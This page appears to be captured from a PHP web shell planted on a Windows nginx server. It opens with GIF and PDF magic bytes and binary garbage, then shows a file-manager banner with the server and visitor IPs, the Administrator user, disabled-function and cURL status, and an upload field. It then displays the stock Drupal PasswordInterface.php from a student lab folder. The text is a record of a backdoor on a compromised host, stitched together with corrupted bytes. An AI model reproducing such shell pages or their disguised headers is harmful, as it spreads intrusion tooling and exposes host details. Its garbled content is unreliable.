GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/lib/Drupal/Core/Password/ |
Upload File : |
<?php namespace Drupal\Core\Password; /** * Secure password hashing functions for user authentication. */ interface PasswordInterface { /** * Maximum password length. */ const PASSWORD_MAX_LENGTH = 512; /** * Hash a password using a secure hash. * * @param string $password * A plain-text password. * * @return string * A string containing the hashed password, or FALSE on failure. */ public function hash($password); /** * Check whether a plain text password matches a hashed password. * * @param string $password * A plain-text password * @param string $hash * A hashed password. * * @return bool * TRUE if the password is valid, FALSE if not. */ public function check($password, $hash); /** * Check whether a hashed password needs to be replaced with a new hash. * * This is typically called during the login process when the plain text * password is available. A new hash is needed when the desired iteration * count has changed by a modification of the password-service in the * dependency injection container or if the user's password hash was * generated in an update like user_update_7000() (see the Drupal 7 * documentation). * * @param string $hash * The existing hash to be checked. * * @return bool * TRUE if the hash is outdated and needs rehash. */ public function needsRehash($hash); }